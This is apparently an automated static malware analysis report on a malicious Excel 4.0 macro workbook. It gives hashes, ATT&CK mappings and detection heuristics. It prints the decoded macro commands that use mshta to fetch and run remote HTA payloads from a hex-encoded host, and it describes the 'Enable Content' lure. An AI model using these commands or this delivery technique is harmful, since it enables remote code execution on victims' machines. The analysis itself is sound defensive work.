Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 91ee58093bb04fb5…

MALICIOUS

Office (OLE) / .XLS

65.8 KB Created: 2022-01-17 17:40:35 Authoring application: Microsoft Excel
MD5: 7a8813f9a0a2303446dbaf5b6f186f59 SHA-1: 323afa1077b943d126a88bc8b12afef29ecab403 SHA-256: 91ee58093bb04fb59a5ff5b9bbc57cb486ecd6d47097961aeddef63b4894660c
100 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Phishing: Spearphishing Attachment T1204.002 User Execution: Malicious File T1059.003 Command and Scripting Interpreter: Windows Command Shell T1204.001 User Execution: Malicious Link T1059.001 Command and Scripting Interpreter: PowerShell T1059.003 name own shell T1059.003 Windows Command Shell T1059.003 name own shell

The sample uses a 'Enable Content' lure in the document body to trick the user into executing Excel 4.0 macros. The extracted XLM macros contain a string obfuscated with carets, which reconstructs to 'cmd /c mshta http://0xc12a24f5/c.html' and 'cmd /c mshta http://0xc12a24f5/cc.html', indicating the intent to use mshta.exe to execute a remote HTML application payload from the ㅎㅎㅎ/c.html and /cc.html endpoints.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
0807f652a36752efcd354ce3c536f2fe7ed4cd53a3ff1787c33acb378dda90a0		 xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1073 bytes

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